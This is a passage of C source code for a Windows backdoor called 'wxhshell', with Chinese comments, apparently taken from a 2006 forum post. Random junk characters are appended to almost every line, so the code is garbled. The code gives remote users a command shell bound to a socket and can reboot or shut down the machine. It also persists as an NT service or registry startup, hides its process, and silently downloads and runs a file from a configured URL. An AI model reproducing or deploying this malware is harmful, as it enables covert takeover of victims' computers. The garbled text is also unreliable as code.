  else ;BBpN`T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lG"H4Aa>  
  } m<@z}%v-  
  else { /A07s[L  
VKuAO$s$  
    switch(cmd[0]) { srmKaa|  
  I}.i@d'O  
  // 帮助 S; /. %  
  case '?': { d3^7ag%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YfDWM7x7,  
    break; ,XB%\[pKe  
  } ;l!`C':'  
  // 安装 yrr) y  
  case 'i': { qd6fU^)i  
    if(Install()) JYmAn?o-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GyC)EFd  
    else 4gZ &^y'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OW5t[~y]  
    break; id,NONb\  
    } Ge \["`;i  
  // 卸载 6 /Y1 wu  
  case 'r': { p>kq+mP2bc  
    if(Uninstall()) FFcB54ALTf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hIU(P Dl4  
    else R7_VXvm>z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D>#l-{d  
    break; S# we3  
    } -9+se  
  // 显示 wxhshell 所在路径 1r9f[j~  
  case 'p': { -5Utl os  
    char svExeFile[MAX_PATH]; |b.z*G  
    strcpy(svExeFile,"\n\r"); PCE4W^ns  
      strcat(svExeFile,ExeFile); OAe#Wf!c  
        send(wsh,svExeFile,strlen(svExeFile),0); tP(h9|[N  
    break; bcz-$?]  
    } ]?<n#=eW  
  // 重启 Y83GKh,*  
  case 'b': { s&tE_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qVgd(?hJ#  
    if(Boot(REBOOT)) h @/;`E[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2qU&l|>  
    else { s~L</Xvo  
    closesocket(wsh); 7P**:b  
    ExitThread(0); <$i4?)f(  
    } <bUe/m  
    break; ,+1m`9}  
    } X.#oEmA ,P  
  // 关机 ;L"!I3dM)  
  case 'd': { |:[9O`U)s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zi ESlf$  
    if(Boot(SHUTDOWN)) |a(fejO3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #h'@5 l  
    else { :td ~g;w  
    closesocket(wsh); N4{nG,Mo]  
    ExitThread(0); s] au/T6b  
    } 4IsG=7   
    break; Fo|xzLm9*|  
    } jna;0)  
  // 获取shell 07_oP(;jT  
  case 's': { ^DAu5|--R  
    CmdShell(wsh); 0D~ Tga)  
    closesocket(wsh); |m* .LTO  
    ExitThread(0); Ciihsm  
    break; bbN%$/d  
  } 77,oPLSn  
  // 退出 k*Nr!Z!}  
  case 'x': { raUs%Y3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eV!L^>>>  
    CloseIt(wsh); B6M+mx"G  
    break; 1|| nR4yK  
    } EU+cca|qS9  
  // 离开 M0'v&g  
  case 'q': { `DW2spd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hv)8K'u  
    closesocket(wsh); {})$ 99"x  
    WSACleanup(); QwWW! 8  
    exit(1); &0 \ ci9o  
    break; ~)X[(T{  
        } %w}gzxN^  
  } m,MSMw1p  
  } dQ:cYNm  
h#.N3o  
  // 提示信息 fg*@<'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OI/@3"L{  
} W<,F28jI3v  
  } f@ `*>"  
U~f4e7x*O  
  return; "VUYh$=[  
} [0@`wZ  
@!%n$>p/V  
// shell模块句柄 dF@)M  
int CmdShell(SOCKET sock) +}kgQ^  
{ k2^a$k}  
STARTUPINFO si; .qD@ Y3-  
ZeroMemory(&si,sizeof(si)); Ib`-pRU;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yi6N-7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `wz[='yM  
PROCESS_INFORMATION ProcessInfo; pmc=NTr&<  
char cmdline[]="cmd"; 3=.Y,ENM;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); On_@HQ/FI  
  return 0; 6ghx3_%w  
} D]03eu  
1=VJ&D;  
// 自身启动模式 VD7i52xS  
int StartFromService(void) /f{$I  
{ U.oksD9 v  
typedef struct wa09$4>_w  
{ :}}%#/nd  
  DWORD ExitStatus; gwB\<rzG  
  DWORD PebBaseAddress; msx-O=4g  
  DWORD AffinityMask; +Ic ~ f1zh  
  DWORD BasePriority; k5BXirB  
  ULONG UniqueProcessId; 3'I^lc  
  ULONG InheritedFromUniqueProcessId; qYB~VE03  
}   PROCESS_BASIC_INFORMATION; [0;buVU.  
/R8p]  
PROCNTQSIP NtQueryInformationProcess; yt0,^*t_  
V2d,ksKwn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m@G i6   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <^R{U&Z@  
D{7w!z  
  HANDLE             hProcess; Qst$S}n  
  PROCESS_BASIC_INFORMATION pbi; oF:v JDSS  
X]j)+DX>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A#@_V'a8  
  if(NULL == hInst ) return 0; Ub$n |xn  
,J =P,](  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mLbN/M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z!wDpG7b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M4f;/`w  
U.0kR/>Z=  
  if (!NtQueryInformationProcess) return 0; MN8H;0g-  
S/A1RUt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PR7f(NC  
  if(!hProcess) return 0; >4i>C  
1} m3 ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IVvtX}  
-yH,5vD  
  CloseHandle(hProcess); $K}DB N; 4  
DT(d@upH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); " {de k  
if(hProcess==NULL) return 0; #CUz uk&  
QV|>4^1D  
HMODULE hMod; 1+kE!2b;b  
char procName[255]; mqtg[~dNc  
unsigned long cbNeeded; s}5+3f$f  
uXZg1 F)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [3/VCYje  
wFS2P+e;X  
  CloseHandle(hProcess); - xm{&0e)  
dbdM"z 4  
if(strstr(procName,"services")) return 1; // 以服务启动 $hrIO+  
w`HI]{hE~N  
  return 0; // 注册表启动 P87# CAN  
} )q~DTR^z-  
C}}/)BYi  
// 主模块 k%'m*Tf  
int StartWxhshell(LPSTR lpCmdLine) 3\$wdUFr  
{ 0?Q_@Y  
  SOCKET wsl; 0S/' 94%w  
BOOL val=TRUE; fRZ KEIyk  
  int port=0; @I3eK^#|P  
  struct sockaddr_in door; q1VH5'p@  
77 r(*.O|  
  if(wscfg.ws_autoins) Install(); n`7f"'/:  
N#xG3zZl|N  
port=atoi(lpCmdLine); ^_+XDO  
B}?IEpYp  
if(port<=0) port=wscfg.ws_port; ;\;M =&{}  
-1|iz2^N  
  WSADATA data; dE`-\J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d=*x#In  
U Z_'><++  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;T+pu>)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j+4H}XyE  
  door.sin_family = AF_INET; *Ust[u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KP"%Rm`XN  
  door.sin_port = htons(port); `_X;.U.Mv  
1=}qBR#scY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '\q f^?9  
closesocket(wsl); cQj-+Tmu  
return 1; +/{L#e>   
} H1:be.^YP  
wNJzwC&iQ  
  if(listen(wsl,2) == INVALID_SOCKET) { Vy<HA*  
closesocket(wsl); A Io|TD5{~  
return 1; Q%S9fq,q  
} jvy$t$az  
  Wxhshell(wsl); H6TD@kL9Wr  
  WSACleanup(); v 4/-b4ET  
]bdFr/!'S+  
return 0; "`Ge~N[$A  
Rf-[svA  
} XMN:]!1J  
7Cqcb>\X  
// 以NT服务方式启动 0u B'g+MU`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WCJxu}!  
{ *LC+ PZV@  
DWORD   status = 0; P$GjF-!:  
  DWORD   specificError = 0xfffffff; TtD@'QXq  
0IkM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RJeDEYXeg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z"-L[2E/{!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~V=<3X  
  serviceStatus.dwWin32ExitCode     = 0; q% >'4_  
  serviceStatus.dwServiceSpecificExitCode = 0; t(!r8!c u}  
  serviceStatus.dwCheckPoint       = 0; &;TJ~r#K  
  serviceStatus.dwWaitHint       = 0; n.oUVr=nX  
@F*wg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fl\aqtF  
  if (hServiceStatusHandle==0) return; J8a*s`ik  
'J)2g"T@  
status = GetLastError(); =:,xxqy  
  if (status!=NO_ERROR) e-hjC6Q U  
{ a&{X!:X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i+3fhV  
    serviceStatus.dwCheckPoint       = 0; vl E z9/H  
    serviceStatus.dwWaitHint       = 0;  $!@\  
    serviceStatus.dwWin32ExitCode     = status; -Ng'<7  
    serviceStatus.dwServiceSpecificExitCode = specificError; Flxvhl)L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6R;3%-D  
    return; q"qo.TPh|$  
  } E\ 8  
b,TiMf9},h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1SIq[1  
  serviceStatus.dwCheckPoint       = 0; #:x4DvDkR  
  serviceStatus.dwWaitHint       = 0; 2aA`f7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NG&_?|OmV  
} 2Se?J)MN  
7IlOG~DC  
// 处理NT服务事件,比如:启动、停止 T^<>Xiam  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r\6"5cQ=  
{ $h[Q Q-  
switch(fdwControl) ppIbjt6r  
{ S/ywA9~3Q  
case SERVICE_CONTROL_STOP: aA`/E  
  serviceStatus.dwWin32ExitCode = 0; <Peebv&v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gd/H``x|Y  
  serviceStatus.dwCheckPoint   = 0; #%@*p,xh  
  serviceStatus.dwWaitHint     = 0; nwt C:*}  
  { 1_'? JfY-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jVgFZ,  
  } X6+qpp  
  return; VQI(Vp|  
case SERVICE_CONTROL_PAUSE: E`H$YS3o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XZNY4/ 25G  
  break; -m= 8&B  
case SERVICE_CONTROL_CONTINUE: m9}AG Rj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]j~"mFAP  
  break; y)c5u%(  
case SERVICE_CONTROL_INTERROGATE: ^I mP`*X  
  break; }U w&Ny  
}; `~UZU@/x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |tzg :T;  
} V(MFna)  
s#Jh -+lM  
// 标准应用程序主函数 :HxA`@Ok  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4n1; Bh$  
{ %ows BO+  
9~rUkHD  
// 获取操作系统版本 ZD#9&q'4<  
OsIsNt=GetOsVer(); \AUI|M;'  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  =$8nUX`  
am_gH  
  // 从命令行安装 tj]9~eJ-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZlYPoOq  
ik|-L8  
  // 下载执行文件 7+TiyY]K  
if(wscfg.ws_downexe) { S_T^G` [  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sw`RBN[ yo  
  WinExec(wscfg.ws_filenam,SW_HIDE); F;lI+^}}  
}  O|A_PyW  
;R=.iOn  
if(!OsIsNt) { BG^C9*ZuP  
// 如果时win9x,隐藏进程并且设置为注册表启动 R .[Z]-X  
HideProc(); _{vkX<s  
StartWxhshell(lpCmdLine); `dMqe\o%!  
} F["wD O  
else SjjIr ^  
  if(StartFromService()) *{undZ?(>  
  // 以服务方式启动 `u!l3VZ/4  
  StartServiceCtrlDispatcher(DispatchTable); , $Qo =  
else {wF&+kH3  
  // 普通方式启动 V~ ~=Qp+.  
  StartWxhshell(lpCmdLine); Ogt]_  
!{n<K:x1  
return 0; 6J~12TU,  
}
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只看该作者 1 发表于: 2006-10-10
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